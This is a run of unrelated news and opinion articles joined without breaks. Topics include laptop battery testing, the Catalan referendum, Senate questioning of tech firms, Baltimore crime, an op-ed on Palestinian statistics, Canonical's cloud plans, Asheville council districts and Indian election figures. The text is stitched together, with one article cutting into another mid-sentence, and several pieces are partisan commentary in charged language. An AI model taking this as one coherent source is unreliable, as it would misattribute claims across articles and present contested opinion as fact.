Having sufficient cause to believe that notebook users fit into one of three archetypes, our next goal was to create a testing methodology that convincingly replicates their usage habits. In addition to a few benchmarks we feel are qualified to do that, we also have a few ideas about how the test results could be marketed to consumers.
The gamer
No matter which way you slice it, 3D gaming on a notebook was seriously unimportant to our respondents. In our data, it was 1.5-8 times more likely to receive a “one” than any other task we inquired about. Even so, the 22.8% of our respondents that awarded it a 4 or a 5 need to be considered, and gaming notebooks alone make the case for battery tests to accommodate.
Simple battery mechanics tell us that a battery’s life is a function of load, which means how we get to that point is largely immaterial. Accepting that, we propose the following:
Screen brightness 90%.
WiFi enabled.
Bluetooth enabled.
Loop 3DMark Vantage (3DMark 2006 for Windows XP Netbooks) on default settings until the battery expires.
The rationale for these test choices is as follows:
Firstly, an informal poll conducted by Neowin reveals that 62% of 1163 respondents run their display at 80-100% brightness. We have decided that splitting the difference is the most appropriate course of action.
Secondly, the importance people placed on browsing the Internet makes an active WiFi radio an indispensable part of the laptop experience.
Thirdly, we have previously identified that the current method of expressing a battery’s single-charge run time as an “up to X minutes” statement is inappropriate. We feel that a more honest testing ecosystem would make it into a “more than X minutes” statement. That is to say, testing should reflect a worst-case scenario. While Bluetooth is by no means prevalent, we feel it is appropriate to leave it enabled given this philosophy.
Lastly, we have chosen 3DMark because it creates a repeatable, consistent GPU load across a wide variety of GPUs and operating systems. Given that all new systems are shipping with Windows Vista and will soon come with Windows 7, a DirectX 10.x test seems most appropriate when considering the “more than” battery life philosophy. We make a lone exception for the Netbook with Windows XP, which cannot run DirectX 10 code; in these cases, 3DMark 2006 is the right choice.
The multimedia user
We have established that the multimedia user likes movies, music and pictures, so it would make sense to select a test that includes these tasks. To that end, we believe that the “Memories,” “TV and Movies” and “Music” suites from PCMark Vantage provide a consistent and repeatable platform that focuses on these activities. These three suites should be looped until the battery expires.
We continue to maintain that an active WiFi radio, an active Bluetooth radio, and a screen brightness of 90% are fundamental to breathing honesty into battery marketing.
The drawback to PCMark Vantage is that it is not compatible with systems that run Windows XP, as the Netbook may for quite some time. We are interested in PCMark 2005’s text, picture, video and 2D tests, but we are open to alternatives that may offer a superior routine.
The productivity user
We have established that the productivity user likes writing, reading and browsing. Once again we believe that PCMark Vantage can provide the appropriate tests with the “Productivity” and “Communications” suite.
These two PCMark suites specifically focus on networking, document creation and browsing, all of which we know to be fundamental tasks to the productivity user. The tests should be looped until the battery expires.
We continue to maintain that an active WiFi radio, an active Bluetooth radio, and a screen brightness of 90% are fundamental to breathing honesty into battery marketing.
Lastly, we are once again open to suggestions on an alternative that will appropriately test systems configured with Windows XP.
Selling the tests to users
If anything, Apple’s “it just works” mantra has proven that consumers don’t care about the “how” so much as they care about the “what.” Users clearly care about what they’re getting, but they aren’t interested in the minutiae of getting from A to B. This means that developing a new testing methodology means diddly if marketing doesn’t work to create more realistic expectations.
To that end, we propose a sticker that not only offers the battery performance for each type of user, but also offers a “combined” rating for users who may engage in a mixture of activities.
In the example logo to the right, we made the combined rating a mean of the three sub-scores, but the median between gaming and multimedia may be an appropriate choice as well.
Going forward
Many amongst Icrontic staff are equipped with the MSI Wind U100 or U120 units for trade shows, and I can guarantee you that none of us have ever–even with SpeedStep and 10% brightness–come within a stone’s throw of the six hours scribbled on the box. If users with handcrafted battery profiles and modded BIOS roms cannot get the advertised performance, something is seriously rotten in Denmark.
That stink has overstayed its welcome. Consumers have been bamboozled and dazzled by increasingly outrageous battery claims for years, and it’s time to make a change. We’ve proven that it’s possible, and now we’re calling on OEMs to make it happen: Use realistic tests, leash your marketing teams, and let’s work together for a more realistic battery rating.
Correction: The original run of this article indicated that one respondent, or.003% of those polled, reported that they did not fit in any of the offered categories. The correct number is 0.35%, but this reference has been removed accuracy and clarity. Please also note that our study has a margin of error of approximately 5.83%. We apologize for the confusion.The would-be secessionists in the Spanish region of Catalonia are about to get a reality check.
Carles Puigdemont, the region’s prime minister, wants international mediation to help deliver his promise of an independent Catalan state. He senses that his negotiating hand with the central government in Madrid will be strengthened by the international moral outrage at viral video images and TV coverage of Spanish government police beating up his supporters as they tried to take part in Sunday’s unsanctioned referendum.
Trouble is, neither the EU Commission, nor the EU’s member states, nor the international businesses that have been happy to make their Spanish home in and around Barcelona, have any intention of playing his game.
In a statement Monday, the EU Commission warned that Sunday’s vote was an internal matter for Spain, and that it “was not legal” under the Spanish constitution. Even if a legal referendum succeeded, it added, secession from the Kingdom of Spain would entail leaving the European Union. And, for the avoidance of any doubt, it added: “We trust the leadership of Prime Minister Mariano Rajoy to manage this difficult process in full respect of the Spanish Constitution and of the fundamental rights of citizens enshrined therein.”
It avoided mentioning Puigdemont or the Catalan government at all. Nor was there any support from French President Emmanuel Macron (who expressed his support for Spain’s constitutional unity in a phone call to Rajoy) or German Chancellor Angela Merkel or Italian PM Paolo Gentiloni, both of whom were deafeningly silent.
There was no succor from business either. Labor unions at Volkswagen unit SEAT, the biggest private-sector employer in the region, said they wouldn’t join in the strike that two regional labor organizations had called for Tuesday. Noises coming out of other businesses also suggested that the call to action will be honored more in the breach than in the observance.
None of this should be really surprising: the vote was indeed illegal, and only supporters of independence came out to take part. Only 2.26 million out of the 5.3 million electorate turned out to vote (though the Catalan government claims that some votes were taken when police confiscated ballot boxes). As Holger Schmieding of Berlin-based Berenberg Bank argues, that’s in line with opinion polls from earlier this year indicating a steady degree of support for full-blown independence of around 40%. Moreover, as the website EUObserver points out, there was no electoral roll and no electoral commission.
And in truth, the forces of the status quo haven’t even reached for their most powerful weapon yet. The other, still unspoken but stark reality of independence is that banks in Catalonia would immediately lose their right to funding from the European Central Bank. No more ECB funding means no more euros in the ATMs on Las Ramblas, and a rather uncomfortable call with Mario Draghi asking for Catalonia’s share of nearly 400 billion euros that Spain’s banking system currently refinances through Frankfurt. Shares in Catalonia-based banks Banco Sabadell (bndsy) and Caixabank both fell by more than 4% on the day in Madrid.
In short, it’s a one-sided contest that can only end one way. All that any further macho posturing from the two sides can influence is the degree of bitterness with which Catalonia and the rest of Spain manage their business in future.WASHINGTON — Executives from Facebook, Google and Twitter appeared on Capitol Hill for the first time on Tuesday to publicly acknowledge their role in Russia’s influence on the presidential campaign, but offered little more than promises to do better. Their reluctance frustrated lawmakers who sought stronger evidence that American elections will be protected from foreign powers.
The hearing, the first of three in two days for company executives, served as an initial public reckoning for the internet giants. They had emphasized their role as public squares for political discourse but are being forced to confront how they were used as tools for a broad Russian misinformation campaign.
Both Democrats and some Republicans on a Senate Judiciary subcommittee complained that the companies had waited nearly a year to publicly admit how many Americans were exposed to the Russian effort to spread propaganda during the 2016 campaign. Senators pushed for harsher remedies, including regulations on their advertising practices akin to rules for political advertising on television.
“Why has it taken Facebook 11 months to come forward and help us understand the scope of this problem, see it clearly for the problem it is and begin to work in a responsible legislative way to address it?” asked Senator Chris Coons, Democrat of Delaware.A13-year-old Loudoun County boy will serve a year on supervised probation for an animal cruelty conviction after he kicked his family's pet dog to death.
WASHINGTON – A 13-year-old Loudoun County boy will serve a year on supervised probation for an animal cruelty conviction.
The boy was charged with the crime for kicking his family’s pet dog to death. He was sentenced Wednesday.
Loudoun County Animal Services says the boy and his younger brother kicked the 8-pound toy breed dog repeatedly causing fatal, internal injuries.
As part of his sentence, the boy is prohibited from living with any pets and must not interact with children his age or younger during his probation.
The boy’s younger brother was assigned to counseling and was not prosecuted, according to the Animal Services Department.
“Loudoun County Animal Services works closely with Child Protective Services and the juvenile justice system to ensure that children involved in cases of animal cruelty receive the proper care, mental health counseling and guidance they need,” said Tom Koenig, Animal Services director, in a written statement. “We believe that with treatment or intervention, child offenders will be less likely to commit such crimes in the future.”
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Happy Savings and a Stylish & Happy Life!Oil Discovery Confirmed By OMV & Tullow
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Oil discovery confirmed by OMV Norge & Tullow Oil, as the details of the company’s successful exploration efforts in the Barents Sea are published.
“This is a very successful appraisal and flow test of Wisting Central,.. this asset clearly offers valuable development potential.” said Tullow Oil’s Exploration Director, Angus McCoss.
OMV & Tullow Barents Exploration
The exploration was taking place to the south-west of the Wisting discovery in the Norwegian sector of the Barents Sea.
Drilling was conducted by contractors Transocean, and their semisubmersible drilling rig the Transocean Spitsbergen; with the well being drilled to vertical depth of 2,208 feet (673m), a total measured depth of 7,592 feet (2,314m), and in 1,319 (402m) of water.
The Wisting Central II long reach horizontal well (7324/7-3S), has been drilled with the aim of further exploring the Wisting South & Wisting West segments of the field.
Tullow Oil confirmed the well’s success saying that it had been “successfully explored and appraised” and that a full production test, of the Stø formation, had also been conducted.
Oil Discovery Confirmed
A statement released by the company read: ‘Results of drilling, wireline logs and samples of reservoir fluids show that the well has encountered an oil column of 22 metres in a 1,402 metres horizontal section with 1,250 metres of net light oil pay.’
‘The main reservoir encountered was thicker than expected pre-drill. A constrained production test was carried out in the Stø Formation with a flow rate of approximately 5,000 barrels of oil per day (oepd) which demonstrated excellent reservoir properties.’
‘The well results are expected to provide an increase of in-place volumes in the Central South and Central West segments and further reduce the overall uncertainty of resources in PL537.
OMV Wisting Exploration Map – Click To Enlarge
“This is a very successful appraisal and flow test of Wisting Central.” said McCross.
“While we are still assessing the positive volume impact across our significant cluster of discoveries in this area, it is clear that having encountered more light oil in excellent reservoirs, with very strong flow rates, this asset clearly offers valuable development potential.”
Whilst OMV’s Johann Pleininger concluded: “OMV is very satisfied with the well test results, which are promising. This well is an important milestone towards a future field development on Wisting”
The Wisting Central Complex is a joint venture between operator OMV Norge (25%); Tullow Oil (20%); Idemitsu (20%); Petoro (20%); and Statoil (15%).
Transocean Spitsbergen Rig
The Transocean Spitsbergen is an ultra deepwater semisubmersible drilling rig, delivered on 2009 by Aker Solutions’ Stord Shipyard, Norway.
The Spitsbergen has a design capability to operate in a maximum water depth of 9,843 feet (3,000m) and drill to a maximum depth of 35,000 feet (10,668m).These indoor farms would reduce the need for costly resupply missions while removing carbon dioxide from the air, thus replenishing the astronauts' breathing supply, and could produce about 500 pounds of oxygen a year. Gene Giacomelli, a University of Arizona agricultural researcher and the lead investigator of a NASA-funded growth chamber for the moon, envisions a multiarmed, inflatable greenhouse building staffed with robots that do the bulk of the work. "Astronauts should not have to be farmers," he says.
Space Farms Will be Customized for Diverse Environments:
Moon
A farm at the moon's poles could tap water ice trapped in craters. Burying the farm buildings will protect them from cosmic rays, micrometeorites and extreme temperatures.
Status: Researchers at the University of Arizona are operating a moon-farm prototype that yields 1100 pounds of edible plants. per year.
Earth Orbit
Plants in microgravity draw up water and fertilizer faster than roots can process them. Slowly trickling in fertilizer solves the problem and improves plant health.
Status: Russians on the International Space Station developed the technique by growing radishes, peas and barley.
Mars
The planet's protective atmosphere allows structures to be built aboveground.
Status: Italy's space agency is designing greenhouses that can endure Mars's low-pressure, high-carbon-dioxide environment.This is what the top of the Drudge Report looks like right now, at 7:30 PM on a Thursday.
The body count continues to grow in Baltimore, with a 31-year-old mother and a seven-year-old boy becoming the 37th and 38th murder victims of May today. It hasn’t been this bloody in Baltimore since November 1999, during the Clinton Presidency, and we still have several more days remaining in the month.
Arrests have now declined by more than half as police strike a defensive posture, having been thrown to the wolves by a city government pandering to the criminal underclass who elected them over the still-unexplained death of Freddie Gray.
Officers are reported to be swarmed by hostile mobs if they dare respond to calls, in a city that is on the brink of a full failure of civility. Therefore, they tread cautiously, and only with support. Their presence has concentrated. Criminals have notice the gaps, and are swarming them like gnats to a seeping wound.
“I’m afraid to go outside,” said Antoinette Perrine, whose brother was shot down three weeks ago on a basketball court near her home in the Harlem Park neighborhood of West Baltimore. Ever since, she has barricaded her door and added metal slabs inside her windows to deflect gunfire. “It’s so bad, people are afraid to let their kids outside,” Perrine said. “People wake up with shots through their windows. Police used to sit on every corner, on the top of the block. These days? They’re nowhere.” West Baltimore residents worry they’ve been abandoned by the officers they once accused of harassing them, leaving some neighborhoods like the Wild West without a lawman around. “Before it was over-policing. Now there |
’re moving from “fake news” to “fake academia.”
An actual blood libel
The most serious claim was presented by Laor. Have the brutal Israeli soldiers really found a sophisticated way to carry out an annihilation, by dramatically increasing the infant mortality rate? Well, according to Dr. Wael R. Ennab of Al-Najah University, the infant mortality rate in 1967 was between 152 and 162 per 1,000 live births. It dropped to 132 in 1974 and reached 53 to 56 in 1985. The rate kept dropping, reaching—according to World Bank figures—less than 30 in 1993, when the Oslo Agreements were signed. It kept going down, and while Laor published his fake data, in 2002, the infant mortality rate was 25. It has kept dropping since then and has already reached 18.
The sharp drop, from 1976 to 1993, took place under direct Israeli rule. The drop continued under the Palestinian Authority, but at a more moderate pace. For the avoidance of doubt, the infant mortality rate among the Palestinians is much lower than the global average of 31.7, and is significantly lower than the average in the Arab world—28.
Why did Laor publish an actual blood libel? It’s likely a result of the same logic under which the opposition to the occupation legitimizes every lie. Only several weeks ago, someone wrote in Haaretz that “Breaking the Silence have to be liars.” In fact, all speakers of this kind “have to lie,” because if the real figures are presented—they will be in trouble.
Absolutely no genocide
The meticulous ones even talk about a “genocide.” The more moderate ones, like senior Breaking the Silence activist Noam Chayut, argue that “the unusual person is the one who is unwilling to kill civilians.” Since tens of thousands of soldiers have served in the territories, one might conclude that tens of thousands of Palestinians have been killed for blood passion.
Well, in 50 years of Israeli rule, 11,000 to 12,000 Palestinians have been killed, mostly terrorists or involved civilians. In fact, this conflict has claimed the lowest number of victims, less than the global average of traffic-related deaths and a lot less than the victims of murders in most big cities in the United States. Just for the sake of comparison, jihad massacres more than 20,000 people every year. That does not include wars.
In general, the Palestinians' life expectancy has gone up from 48.6 in 1967 to about 73 (or 75, according to different sources) today. The population growth rate is among the highest in the world too—2.9% a year, according to World Bank figures in 2015, compared to a global average of 1.2% and the Arab world’s average of 2%.
When one combines the low infant mortality rate, the high birth rates and the rise in life expectancy, the result can be called many things, but there is no serious damage to the Palestinians and definitely no genocide. As a matter of fact, that is such a crazy argument that—as George Orwell said—there are some ideas so absurd that only an intellectual could believe them.
I can touch on more and more areas, in which an objective examination will reveal an amazing improvement in the past 50 years. For example, in the area of water. In 1967, only four of 708 Palestinian towns and villages were connected to running water. Today, 643 communities are connected to running water (97% of the population). The Palestinians' water consumption from natural sources has increased as well, while the Israelis’ water consumption has dropped (the Israelis are increasingly moving to desalinated water.
Violent society? End of democracy?
Other claims made as part of the “occupation corrupts” festival are that Israel is becoming more violent. That’s not true. The National Violence Index points to a drop in violence since 2004. On an international level, Israel is similar to the OECD average. In other words, there is no proof of a connection between the control of the territories and the level of violence in Israel. The violent discourse on social media is on the rise, but that is a weed which characterizes all democratic countries with freedom of speech.
The same applies to the cries of despair about the end of democracy. The Israel Democracy Institute’s 2015 Democracy Index stated as follows: “The common feeling that the situation of Israeli democracy is deteriorating and has reached its lowest level, as it is reflected primarily in the media, is likely not completely accurate in light of the comparative international findings.”
The lies must be refuted
It’s been 50 years since Israel gained control of the territories, and figures show that the Palestinians have actually experienced a major improvement. In most areas, their situation is much better than the situation of Arabs in neighboring countries. So the lies about Auschwitz and the destruction and the mass killing must be shattered.
That doesn’t mean there is no injustice. That doesn’t mean there is no room for criticism, even profound criticism, against certain actions committed by Israel. That doesn’t mean that there are no hooligans in the territories, even if they are a small minority. That doesn’t mean that the settlement enterprise should be justified. And that definitely doesn’t mean that the occupation should be perpetuated or that we should march with our heads held high towards the disaster called one big state or a binational state.
All it means is that we must refute the lies about what the Palestinians have experienced in the past 50 years under Israeli rule. That will only work to advance the discussion on the proper agreement, both for the Palestinians' sake and for Israel’s sake.With the broadcast incentive auction winding down, the FCC has waived the quiet period rules that barred broadcasters from discussing auction activity with one another.
FCC Chairman Ajit Pai said the waiver was “an important step to facilitate a rapid and orderly repack of television broadcast stations following the close of the incentive auction.”
“Specifically, the Wireless Telecommunications Bureau is waiving the rules prohibiting communication between parties of any incentive auction applicant’s reverse auction bids or bidding strategies. Broadcasters have asked for this waiver in order to make it easier for television stations to engage in planning and coordination for the post-auction transition. I look forward to working with broadcasters and wireless carriers going forward on further steps to ensure a smooth post-auction transition,” Pai said in a statement (PDF).
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The FCC’s move earned the praise of the National Association of Broadcasters.
"With the TV spectrum auction nearing completion, it is perfectly appropriate to lift some of the so-called 'quiet rules' that barred discussions among broadcasters prior to and during the auction. NAB supports today's common sense FCC action and looks forward to completing this auction and repacking with minimal disruption to our tens of millions of viewers,” said Dennis Wharton, executive vice president of communications for the NAB, in a statement.
RELATED: Gray TV anticipating $90.8M in broadcast spectrum auction proceeds
During the broadcast incentive auctions, which allowed broadcasters to give up their 600 MHz airwaves so wireless data networks could use the spectrum, several parties warned the FCC that the quiet period could impede the speedy transition for broadcasters vacating their current channels.
In November, TV tower firm Electronics Research, Inc. (ERI) warned the FCC that the quiet period could have a “detrimental effect” on pre-planning for the channel reassignment transition.
According to ERI, broadcasters’ assessments regarding main and auxiliary RF operations, structural analysis and possible interruption of collocated radio broadcasting have brought up questions of reimbursement timing, “since most manufacturers and services companies will require down payments to begin processing orders and scheduling service resources.”
“[ERI] asked the IATF to provide more transparency with regard to the expected processing times for cost reimbursement submissions and the availability of funds, particularly at the beginning of the transition,” Meleski wrote.Photograph by Jason Wallis
*Since printing of this article, Mr. Andersen has been traded to the Toronto Maple Leafs.
Anaheim Ducks goalie Frederik Andersen shares his favorite spots around town. Between October and April, Frederik Andersen can be found defending the goal for the Anaheim Ducks. But the pro hockey player spends his leisure time at Orange County’s sun-soaked beaches, eateries and culture spots. Borrow a page from Andersen’s playbook and use his list of favorite activities to tour the town like a pro.
FINAL CATCH A FOUL BALL
Don Angels red and root for the home team at Angel Stadium of Anaheim. angels.com
GATHER OVER GOURMET BITES
With friends, Andersen heads to Sidecar Doughnuts, a Costa Mesa bakery that churns out warm doughnuts every hour in specialty flavors like huckleberry. sidecardoughnuts.com
Photograph by Harry How
PLAY IN THE SAND
On sunny days, Andersen tosses a football at Newport Beach; beachgoers can also claim a volleyball court or spend an afternoon sunbathing.
GET IN THE ACTION
Let off some steam at Andersen’s favorite place to play, Honda Center. The complex is home to the Anaheim Ducks, arena football team LA KISS and a lineup of world-class performers. hondacenter.com
END WITH DINNER AND A MOVIE
On the weekends, Andersen can be found at the cinema. Try a progressive dinner at Downtown Disney® District, choosing a different eatery for each course of your meal, then catch a flick at AMC Downtown Disney. disneyland.disney.go.com, amctheatres.com
Originally printed in the Visit Anaheim 2016-2017 Destination GuideOK, it’s not too surprising that Canonical, Ubuntu Linux’s parent company, has switched to OpenStack for its Ubuntu cloud foundation technology. After all, Canonical started flirting with OpenStack back in February. What is surprising is that Neil Levine, who as Canonical’s VP of corporate services, which included the cloud, has jumped ship to start a new company, Soba Labs.
First, for Ubuntu, OpenStack, and not Eucalyptus will make up the core of the Ubuntu Cloud. The company claims that the current releases of the Eucalyptus-based Ubuntu Enterprise Cloud (UEC), will not be impacted. Specifically, “Eucalyptus will continue to be a available for download and will be supported by Canonical. This means that customers who have deployed private clouds based on existing Ubuntu releases will continue to receive maintenance, and in the case of Ubuntu 10.04 LTS (Long Term Support) this will continue through to April 2015. Eucalyptus will remain within Ubuntu and will be available for users who prefer this technology. For customers with existing private cloud deployments, Ubuntu will provide tools to automate the migration process to the Ubuntu Server 11.10 release when it is released in October 2011.”
In short, you can still use your Eucalyptus-based Ubuntu cloud, but sooner or later, you’ll be moving to the OpenStack version. For many users that will be in October with the Ubuntu Server 11.10 release
If you really like Eucalyptus for your cloud, you won't need to change though. According to Mårten Mickos Eucalyptus's CEO, “Eucalyptus will continue to fully support Ubuntu Linux. The UEC is a set of extensions to Eucalyptus that Canonical maintains as add-ons to the baseline set of Eucalyptus Ubuntu packages. We plan to continue to package Eucalyptus for Ubuntu; it is the set of add-ons that will no longer be supported by Canonical. While the packaging in UEC is a benefit for experimenters who want to get going quickly with an easy installation, production sites will want to configure their on-premise cloud to their own specification. They may even use multiple Linux distros in the same cloud deployment. Indeed, many of our users run Eucalyptus on Ubuntu Linux without Canonical's UEC enhancement.”
As for Levine, Soba’s Web site declares that its “developing an infrastructure analytics platform for cloud-based systems.” The business is currently in start-up mode.
What concerns me the most about this news is the technology side at all though. Cloud technologies are still in a state of flux. Companies will shift partners and technologies for another year or two before things finally settle down. No, what concerns me is that Canonical has now had two senior technical leaders leave. Last week Matt Zimmerman, Canonical’s long time CTO left the business. How much longer can Canonical keep its quality up when it’s also in the midst of making a dramatic change to its desktop interface:Ubuntu Unity?
Related Stories:
Canonical brings Ubuntu to the OpenStack Cloud
Canonical, Ubuntu Linux, CTO leaves
Shuttleworth on Ubuntu 11.04 Linux & Unity
Ubuntu Linux 11.04’s Target Audience: Casual Windows Users
The new Ubuntu Desktop: UnityA bill to force district-style elections for the City Council splits Asheville into six districts. (Photo: Courtesy of office of Sen. Tom Apdoaca)
A bill to split Asheville into six City County districts has passed the state Senate over protests from city officials and Democratic lawmakers.
The Senate passed the bill sponsored by Sen. Tom Apodaca, R-Henderson, on a party-line vote of 33-16, with all Republicans present voting in favor and all Democrats against.
The bill now moves to the House, which like the Senate is controlled by Republicans. The next question to be answered is whether the House will deal with the bill before the end of the current legislative session, which could come as soon as the end of the week.
Rep. Chuck McGrady, R-Henderson, wrote on his website on Tuesday that the bill "will likely pass the House before the end of the session."
Apodaca told the Senate he introduced the bill "because of concerns raised by citizens in South Asheville... (who) can't remember the last time they had a representative on City Council."
"Nearly every member of the current council lives in central Asheville or North Asheville," he said. Three councilmen live in North Asheville, two live in West Asheville, one in the River Arts District and one near downtown.
Democrats have pushed to allow city residents to vote the plan up or down, but Apodaca rejected that idea.
"If Asheville were allowed a referendum, I have no doubt that the current council would work to defeat it," he told the Senate. "The current council is satisfied by a system that suits their political interests while denying people who don't live in central Asheville a voice on the council."
Most North Carolina cities Asheville's size have district elections and they are "considered a best practice across the state," he said.
If city residents and officials don't like districts, they can do away with them after the 2020 census, Apodaca said.
Sen. Terry Van Duyn, D-Buncombe, said it would be better to let citizens have a say in their form of government now.
She said she, Mayor Esther Manheimer and the three Democratic House members representing Buncombe County all asked for changes in the bill but Apodaca considered none of them.
"That unwillingness to comprise has left many in Asheville, including myself, feeling like this bill isn’t so much about finding a solution to a problem as it is retribution against the citizens of Asheville for electing the wrong kind of people," she said in an apparent reference to the city's Democratic leanings.
Van Duyn said the way Apodaca has moved the bill through the Senate increases distrust in government.
"We are elected to represent our districts, not rule them, and we are elected to represent all the people in our districts, not just the people who voted for us," she said. "Inviting the stakeholders to the table may slow down the process but it preserves faith in the system. Our approval numbers would indicate that that faith has been severely bruised. This bill undermines public trust in the work we do.
The district plan would take effect with the 2019 elections.
A 2015 Citizen-Times analysis showed that in over a decade there have been no council members from South Asheville, the most conservative part of the city. Apodaca's 48th District includes south Buncombe County and a piece of South Asheville.
Other areas without council members since at least 2005 include downtown, Kenilworth and Southside. A large majority of winning candidates have come from North Asheville.
Council members and Democratic legislators representing parts of the city said whatever change happens it shouldn't be dictated by a single lawmaker and that Asheville residents should have a say in the fate of their elections.
They have asked for a referendum, to amend the bill to a system that combines districts with other elements or to have an independent group draw the district lines. But Apodaca has made no changes.
Van Duyn said afterward she is "hoping for a less hostile environment in the House," Van Duyn said.
If the bill passes, districts will take effect in 2019.
The bill calls for splitting the six council seats into six districts while the mayor remains elected at-large.
Apodaca's office has produced a map that shows a far-western District 1, a western and central District 2 that includes part of downtown, a northern District 3, a northeastern District 4, a central and eastern District 5 that includes the rest of downtown and a southern District 6. The lines put more than half the current council in two districts, with Vice Mayor Gwen Wisler and Cecil Bothwell in District 3 and Brian Haynes, Julie Mayfield and Gordon Smith in District 2
All council members elected in 2017 would serve a two-year term. In 2019, the three council members with the highest votes would serve four-year terms, while the other three would serve two-year terms. Starting in 2021, all terms would be four years.
The vast majority of North Carolina's 533 municipalities — 86 percent — use an at-large electoral system such as Asheville's, according to an analysis by former vice mayor Marc Hunt and the Citizen-Times using data collected by UNC's School of Government.
Purely district-based systems, such as the one that would be imposed by the bill, are rare, and are used by only 3 percent of municipalities.
That changes among cities bigger than 50,000 people. Among those 16 municipalities, three use the at-large system, three use a pure district-based system, and 10 use systems that combine both at-large and district elements. In Apodaca's home county of Henderson, the biggest municipality Hendersonville uses the at-large system, as does Saluda. The four other municipalities use systems that combine district and at-large elements.
Read or Share this story: http://avlne.ws/28WHzocThere are lies, damn lies, statistics, and then social media. In the age of social media posts and sound bites, it is increasingly easy to spread statistical falsehoods. Having seem some of these in the comments section of my previous columns, I decided to retort with facts and figures.
Rebuttal 1: “69% of India voted against Modi”
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This has been gaining traction since Kanhaiya Kumar made this statement. Let us examine why this is a blatant misrepresentation of our democratic system.
Yes, the BJP did get 31% of the votes cast in this election. However, it contested only 78% of the seats as it was part of the NDA alliance. However, the NDA, clearly led by Modi, together contested all seats and won close to 40% of the total votes. To use a cricket analogy, this is the equivalent of counting the score of only 7 batsmen and not the rest of the team!
By contrast the Congress won 19% of the vote share, and no other party won more than 4%. Thus, by the “Kanhaiya logic” 81% of the country voted against the Congress and 96% voted against everyone else! This is worth keeping in mind given that these apparently very unpopular parties are the ones currently blockading parliament and preventing laws from being passed!
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But this is a flawed way of thinking. Ours is a multi-party electoral system. When one has a choice of 400 parties, voting for one doesn’t equate to voting against the other 399! It is like saying there were 20 dishes in the buffet, and I selected one, which means I am against the other 19. It is a nonsensical argument.
Just to compare ourselves to other major multi-party democracies, in the recent UK election, the Conservative party won 36% of the vote, in what was widely reported as a thumping win. In France in 2012, the Socialist Party won only 29% of the first round votes and was yet a clear winner. And unlike India where 400 parties contested and 36 parties won seats, the UK and French elections had barely 3-4 relevant parties.
Even in 2004, the Congress secured only 28% of the vote. Would it be then logical to say that 72% of the country was against the Congress in 2004 and 2009?
Make no mistake, the NDA’s performance of 40% of the votes was a thumping win and a full scale rejection of the Congress and the Left who both sunk to record lows in seats and vote share.
That such a strong mandate is being undemocratically subverted in parliament and through an all out propaganda war is a blot on our nation, and as I argued in an earlier article, a danger to our democracy.
Rebuttal 2: Bihar and Delhi were a rejection of the NDA
In reality, the only thing that Bihar and Delhi proved were the absolute decimation of the Congress Party, and the cynical, unstable, divisive, caste-based, policy-less alliances that need to be cobbled together to stop the BJP.
Let us start with Delhi:
The below chart shows vote shares of the major parties over the last 3 elections:
As we can see, the BJP vote share remained essentially the same, while the AAP experienced a huge jump and the Congress, a total collapse
The conclusion from Delhi is that the Congress voters fled en-masse to AAP, while the BJP voters remained loyal.
While the BJP needs to examine its inability to pick up ex-Congress voters in Delhi, the main lesson here is the utter decimation of the Congress.
It is also pertinent to note here that being a new party, the AAP with its impossible promises of free water, free wifi, cheap power, and various other unachievable promises, can only fool the voters once. I would be surprised if they could pull this trick off a second time (hence note their strategy of already continuously blaming the center for all their failings).
Moving on to Bihar, the pattern here too is similar.
Below is a table of vote shares in the last two elections:
It is important to note that the BJP had a vote share of 24% an INCREASE of 8% from the previous election. In fact, no other party INCREASED their vote. The BJP was the most popular party by a long distance.
By contrast the RJD won only 18% of the votes and its former enemy the JD(U) won 17%. The Congress was annihilated with a mere 7% vote share. Thus, the RJD-JDU-Cong alliance combined for 42% vs NDA’s 35%…. hardly a hammering.
What is worth noting here is the moral compromises that defeating the BJP took. Firstly, it took a famously pro-development and anti-corruption JD(U) to ally with its sworn enemy, Laloo Prasad Yadav (who has been imprisoned on corruption charges and who promptly appointed two of his young sons as deputy ministers to ensure his spoils in the victory).
Also, for all Congress’s talk on “unity” and “tolerance”, its alliance was cynical, caste-based divisive politics at its worst.
Thus, while Bihar was a defeat for the NDA, it was, much more so, a victory for the old caste-based, corrupt, divisive style of politics we had all hoped India had left behind. This should worry all of us.
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Fortunately, using the “Kanhaiya logic”, 58% of Bihar votes against this diabolical alliance, so there is hope yet!The unusual item was for sale at a Cash Converters in Dundee.
STV
A prosthetic leg is being offered for sale for £59.99 at a Dundee pawnbrokers.
The unusual item is displayed in the window of Cash Converters in Whitehall Crescent in the city.
A sign beside the leg offers customers the opportunity to purchase the item at full price or in six £8 per fortnight instalments with an £11.99 deposit.
The titanium leg has sparked conversation on social networking site Twitter with users criticising what some people are prepared to sell.
A spokesman for the store said the item was being offered for sale for the value of the metal in it and for the novelty value.
Feedback: We want your feedback on our site. If you've got questions, spotted an inaccuracy or just want to share some ideas about our news service, please email us on web@stv.tv.
Download: The STV News app is Scotland's favourite and is available for iPhone from the Apple store and for Android from Google Play. Download it today and continue to enjoy STV News wherever you are.On Friday, May 1st – 6 highly focused and dedicated judges walked in to my home with the monumental task of selecting the winners of the 4th Annual Life of an Architect Playhouse Design Competition. This is no small task and while it may seem a fairly simple enough process to select awesome playhouses – it’s not. These are surprisingly complicated little buildings and the criteria for evaluation is specific, but yet open for a wide range of interpretation. The judges had to take the 28 entries that were advanced in to the finals round and eliminate all but three (which will be built and donated to Dallas CASA (which stands for Court Appointed Special Advocates) which is a nonprofit organization of community volunteers trained and supervised to serve as voices in court for abused and neglected children.
In all, the process took just under 4 hours and there were some interesting debates over the different merits we were using to evaluate. The general concepts used were:
Overall Design
Appeal
Constructibility
Adherence to rules (mostly regarding the safe-guarding of the playhouses while they were on display)
While I always think I want to be a judge during this process, I am normally glad that I am able to limit my responsibilities making sure that the judges have what they need to properly form their opinions. As always, the judging panel is made up of a wide variety of talents and opinions – something that I think is crucial to this process. I have no doubt that if I judged this competition by myself, the outcome would look slightly different.
To help identify the judges in the image above, I have given them all a number – kind of like a criminal lineup.
1. Stuart Sampley – Architect, Austin Chapter AIA President, and current owner of one of the first 50 original Eames molded plywood lounge chairs that was previously owned by O’Neil Ford.
2. Dr. Michael Gross – architecture fan, and life saver.
3. Carmen Gross – Michael’s better half, charming, and wonderful story-teller.
4. Kelly Sampley – Austin based Fundraiser and Event Management specialist, wife of Stuart (which we won’t hold against her) and clown hater.
5. Steve Penson – Vice President Austin Commercial and a certified Sommelier (which turned out to come in handy this particular evening)
6. Murphy Sampley and Kate Borson – age specific playability experts and generational style docents
